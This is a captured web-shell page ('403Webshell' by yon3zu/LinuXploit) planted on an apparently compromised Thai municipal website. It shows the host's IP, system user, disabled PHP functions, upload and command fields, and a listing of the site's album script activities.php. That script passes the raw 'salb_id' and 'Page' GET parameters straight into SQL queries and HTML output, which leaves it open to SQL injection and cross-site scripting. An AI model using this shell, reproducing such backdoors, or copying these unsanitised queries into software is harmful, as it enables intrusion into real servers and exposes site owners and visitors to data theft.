403Webshell
Server IP : 122.155.17.190  /  Your IP : 18.218.164.141
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : t1bnc ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/t1bnc/public_html/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/t1bnc/public_html/albums/activities.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
$salb_id = $_GET['salb_id'];
if(!isset($salb_id) || empty($salb_id))
{
	die;exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

$c_alb_title = "";
$c_alb_description = "";
$c_alb_counter = "";
$sql = "select * from `activity_album` where (`id`='$salb_id') limit 1 ";
$result = mysql_query($sql) or die("Can't send query !A");
$num_rows = mysql_num_rows($result);
if($num_rows>0){
	$c_alb_title = mysql_result($result, 0,"alb_title");
	$c_alb_description = mysql_result($result, 0,"alb_description");
	$c_alb_clip = mysql_result($result, 0,"alb_clip");
	$c_date_publish = mysql_result($result, 0,"date_publish");
	$c_date = dateThai_MM($c_date_publish);
	$c_alb_counter = mysql_result($result, 0,"alb_counter");
	$c_alb_counter = $c_alb_counter + 1;
	$sql = "update `activity_album` set `alb_counter`='$c_alb_counter' where (`id`='$salb_id')";
	$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
	unset($dbquery);
	//echo "<br>".$c_alb_counter." AAAAAAAA";
}
mysql_free_result($result);
unset($result);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> อัลบั้มภาพ
<?=$c_alb_title;?>
</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="KeyWords" content="<?=$c_alb_title;?>,องค์การบริหารส่วนตำบลแม่กระบุง , จังหวัดกาญจนบุรี , อัลบั้มภาพ" />
<meta name="Description" content="อัลบั้มภาพ <?=$c_alb_title;?>  pre-wedding" />
<meta name="ROBOTS" content="index, follow" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen" />


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #ffffff;	
}
-->
</style>

<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style2 {color: #0000FF; font-weight: bold; }
.style3 {
	color: #000000;
	font-weight: bold;
}
-->
</style>








</head>

<body  background="../images/0bg1-1.jpg" style="background-repeat:no-repeat; background-position:top"   font-family: 'Sarabun', sans-serif;>


<!-- content -->
<div align="center">
  <table width="1000" border="0" cellspacing="0" cellpadding="0">

  
  
  
<tr>
      <td height="715" align="center" valign="top"><img src="../images/00nopic.png" width="1000" height="715" /></td>
</tr>
  
	 
      <tr>
        <td align="center" valign="top"><div align="right"><a href="/index.php"><img src="../images/1menutop_02.png" width="107" height="46" border="0"></a></div></td>
      </tr>
	
	
	
	
    <tr>
      <td align="center" valign="top"><table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <th height="5" align="center" valign="top" scope="col"><div align="left"><img src="../images/bnh21.png" /></div></th>
        </tr>
        <tr>
          <td align="center" valign="top">
            <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th valign="top" scope="col"><div align="center">
			<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr><td height="5" valign="top">&nbsp;<a name="toppage"></a></td>
			</tr>
			<tr align="left">
			   <td class="title2"><div align="right"></div></td>
			</tr>
			</table>
		  </div></th>
              </tr>
              <tr>
                <td valign="top"><div id="main">
				
				
				
				
				
	<div id="svDivActivitiesD"><!--Content-->
			<div id="svDivAlbums">
				
				
				
				
				
				<div id="svDivAlbums5A" class="magnifyarea">
				
				
				<!--contant_font-->
				
				
				<div align="left" style="margin-top:20px; margin-left:10px; margin-right:10px;"> 
				<a href="../index.php" title="หน้าแรก" class="linktextblack">• หน้าแรก</a> > <a href="index.php" title="อัลบั้มภาพกิจกรรม" class="linktextblack">• อัลบั้มภาพกิจกรรม</a> > <a href="activities.php?salb_id=<?=$salb_id;?>" title="<?=$c_alb_title;?>" class="linktextblack"><?=$c_alb_title;?></a> <font class="textgray"><br/>( ประกาศเมื่อวันที่ <?=$c_date;?> )</font>				</div>
				
				<br/><br/>
				
				<? echo "<center><font size=3><b>อัลบั้มภาพ \"".$c_alb_title."\"</b></font></center> "; ?>
				
				
				<div align="left" style="margin-top:20px; margin-left:10px; margin-right:10px;" >
					<font size=3><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<? echo $c_alb_description."<br /><br />";?>
					<? echo $c_alb_clip;?></b></font>				</div>
				<!--end_contant_font-->
			
			
			
			
					<?
	
					echo "<div id=\"svDivAlbums5RowA\">\n";
	
					$sql = "select * From `activity_album_detail` where (`alb_id`='$salb_id') ";
					$sql .= "Order by `id` Asc ";
					
					$item = 0;
					$Per_Page = 25;
					if(!$_GET['Page'])
					{
						$Page=1;
					}else
					{
						$Page = $_GET['Page'];
					}
					$Prev_Page = $Page-1;
					$Next_Page = $Page+1;
					$Page_start = ($Per_Page*$Page)-$Per_Page;
					$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `activity_album_detail` where  (`alb_id`='$salb_id') ";
					$dbquery = mysql_query($sql_2);
					$Num_Rows = mysql_num_rows($dbquery);
					if($Num_Rows>0)
					{
						$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
					}
					mysql_free_result($dbquery);
					unset($dbquery);
					if($Num_Rows<=$Per_Page)
					$Num_Pages =1;
					else if(($Num_Rows % $Per_Page)==0)
					$Num_Pages =($Num_Rows/$Per_Page) ;
					else 
					$Num_Pages =($Num_Rows/$Per_Page) +1;
					$Num_Pages = (int)$Num_Pages;
					if(($Page>$Num_Pages) || ($Page<0))
					print "<center><b>ยังไม่มีข้อมูล<b></center>";
					//print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
					$sql .= "LIMIT $Page_start , $Per_Page";
					//ส่วนแสดงผล
					$result = mysql_query($sql);
					//$item = ($Page-1) * $Per_Page;
					$item = 0;

					While($row= mysql_fetch_assoc($result))
					{
						$item = $item + 1;
						if (($item % 6) == 0){
							echo "</div><br>\n";
							echo "<div id=\"svDivAlbums5RowA\">\n";
							$item = 1;
						}
					
						$c_id =  $row["id"];
						$c_ald_name = $row["ald_name"];
						$c_ald_name_sub = $c_ald_name;
						if(strlen($c_ald_name_sub) > 80){
							$c_ald_name_sub = trim(utf8_substr($c_ald_name_sub,0,80));
						}
						$c_ald_photopath = $row["ald_photopath"];
						$c_ald_photopath = trim($c_ald_photopath);
						//$c_ald_counter = $row["ald_counter"];

						$file_dir = 'a'.$salb_id.'_a';

						$images = "";
						$images2 = "";
						if($c_ald_photopath != "")
						{
							$images = "../photoThumbnail/albums/".$file_dir."/thumb/t_".$c_ald_photopath;
							$images2 = "../photoThumbnail/albums/".$file_dir."/".$c_ald_photopath;
						}
						else
						{
							$images = "images/noimage.gif";
							$images2 = "images/noimage.gif";
						}

						$r_item = $item+2;
						
						echo "	<div id=\"svDivAlbums5".$r_item."\">\n";
						echo "		<div id=\"svDivAlbums531\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_01.jpg\" width=\"159\" height=\"5\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums532\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_02.jpg\" width=\"4\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums533\" style=\"\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\"><img src=\"".$images."\" width=\"150\" height=\"100\" alt=\"".$c_ald_name."\" border=\"0\"></a></div>\n";
						echo "		<div id=\"svDivAlbums534\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_04.jpg\" width=\"5\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums535\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_05.jpg\" width=\"159\" height=\"11\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums536\" style=\"\" class=\"linktextblack\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\" class=\"linktextblack\">".$c_ald_name_sub."</a><br /></div>\n";
						echo "	</div>\n";

					} //while

					echo "</div>\n";
					echo "<div id=\"svDivAlbumsMoreC\">\n";

					$PHP_SELF = $_SERVER['PHP_SELF'];
					if($Prev_Page) 
					echo "&nbsp;&nbsp;<a href='$PHP_SELF?Page=1&salb_id=$salb_id#top_page' class='linktextblack'><<</a>&nbsp;&nbsp;<a href='$PHP_SELF?Page=$Prev_Page&salb_id=$salb_id#top_page' class='linktextblack'><</a>&nbsp;";
					$Show_Page = 10;
					$s1 = $Page - $Show_Page;
					if($s1 <= 0 ){$s1 = 1;}
					$s2 =  $Page + $Show_Page;
					if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					if($s1 == 1 ){
						$s2 = $Show_Page+10;
						if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					}
					if(($s2 == $Num_Pages) &&($s1 != 1)){
						$s1 = $Num_Pages-20;
						if($s1 <= 0 ){$s1 = 1;}
					}

					for($i=$s1; $i<=$s2; $i++)
					{
						if($i != $Page)
						{
							echo "<a href='$PHP_SELF?Page=$i&salb_id=$salb_id#top_page' class='linktextblack'>[ $i ]</a>";
						}
						else
						{
							if($Num_Rows > $Per_Page){
								echo "<font class='linktextblack'><b>[ $i ]</b></font>";
							}
						}
					}

					if($Num_Pages>($i-1))
					{
						if($Num_Pages>($i+1))
						{
							$bNum_Pages = $Num_Pages - 1;
							echo "...<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}else if($Num_Pages==($i+1))
						{
							$bNum_Pages = $i;
							echo "<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}
						echo "<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $Num_Pages ]</a>";
					}

					if($Page!=$Num_Pages)
					echo "&nbsp;<a href ='$PHP_SELF?Page=$Next_Page&salb_id=$salb_id#top_page' class='linktextblack'>&nbsp;></a>&nbsp;&nbsp;<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>>></a>";
					echo "&nbsp;</div>\n";
					if(isset($result)){
					mysql_free_result($result );
					unset($result);
					}
					include("../include/close_db.php");

					?>
					
					<div align="center" style="margin-top:20px;">
					  <!--<iframe src="activities_comment.php?salb_id=<?=$salb_id;?>" id="iframecom" frameborder="0"  height="400px" width="400px" style="border: 0px;" scrolling="no" marginheight="5px" marginwidth="0px"></iframe>-->
					</div>
				</div>			
			</div>
	</div>
</div></td>
              </tr>
              <tr>
                <td valign="top">&nbsp;</td>
              </tr>
            </table>          </td>
        </tr>
      </table></td>
    </tr>
	
  </table>
 
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit